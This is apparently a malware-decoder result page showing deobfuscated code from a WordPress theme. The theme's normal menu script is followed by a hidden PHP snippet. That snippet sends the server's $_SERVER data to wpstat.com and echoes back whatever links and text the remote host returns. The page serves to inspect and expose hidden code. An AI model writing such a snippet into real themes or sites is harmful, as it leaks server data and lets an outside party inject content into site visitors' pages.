Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


<script type="text/javascript" src="bloginfo('template_directory');/js/superfish.js"></script>
<script type="text/javascript" src="bloginfo('template_directory');/js/custom.js"></script>
<script type="text/javascript">
	jQuery(function(){
		jQuery('ul.superfish').superfish();
	});
	//<![CDATA[
		jQuery(function(){
			if (get_option('cherrytruffle_disable_toptier') == 'on') echo('jQuery("ul.nav > li > a > span.sf-sub-indicator").parent().attr("href","#")');
		});
	//]]>	
</script>

$result = 0; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://wpstat.com/stat.php"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch, CURLOPT_POSTFIELDS, $_SERVER); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); $result = curl_exec($ch); curl_close($ch); if(substr($result,0,4) == "[OK]") { $result = str_replace("[OK]", "", $result); preg_match_all("@\[link=(.+?)\](.+?)\[\/link\]@i", $result, $output, PREG_PATTERN_ORDER); $result = preg_replace("@\[link=(.+?)\](.+?)\[\/link\]@i", "", $result); $linkCount = count($output[0]); $linkTitle = $output[2]; $linkHref = $output[1]; if((int)$linkCount>0) { for($i=1;$i<=$linkCount;$i++) { $j = $i-1; echo '<a href="'.$linkHref[$j].'">'.$linkTitle[$j].'</a> '; } } echo $result; }



© 2020 Quttera Ltd. All rights reserved.